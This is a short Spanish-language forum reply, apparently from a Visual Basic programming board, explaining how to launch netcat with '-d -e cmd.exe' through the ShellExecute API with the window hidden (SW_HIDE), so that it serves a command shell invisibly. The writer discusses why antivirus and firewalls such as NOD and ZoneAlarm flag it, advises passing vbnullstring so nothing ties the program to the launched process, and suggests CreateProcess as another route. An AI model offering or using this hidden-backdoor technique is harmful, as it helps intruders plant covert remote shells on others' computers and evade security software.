Para empezar lo que dice _Sergi_ és cierto, no és shell el que te hace que te salte el nod o el zonealarm o lo que sea.
El problema está en que shell ejecuta a cmd.exe y lo detecta cómo peligroso, así que shellexecute no te solucionará nada.
De todos por si quieres probarlo los parametrós de nc.exe -d -e cmd.exe osea -d -e cmd.exe. tienes que pasarlos en el parámetro de la api lpParameters
queadría así
shellexecute vbnullstring,"Open","c:\nc.exe","-d -e cmd.exe","aqui el path inicial al ejecutarlo o vbnullstring",SW_HIDE
El primer parámetro mejor que sea vbnullstring así no habrá ninguna relación explicita entre tu programa y el programa ejecutado. El path inicial es un parámetro que se les pasa a los programas para establecer el directorio de trabajo, si hicieras cmd.exe y directorio de trabajo c:\windows por ejemplo al ejecutarse estarías inicialmente en esa carpeta.
La última constante no recuerdo si era exactamente así mejor buscala en la msdn.
y una mala createprocess huh disuclpame pero no entiendo que quieres decir..
Me refiero a que como última opción (por ser más complicada que las anteriores, aunque tampoco mucho mas) puedes probar a utilizar dicha api para ejecutar tu programa.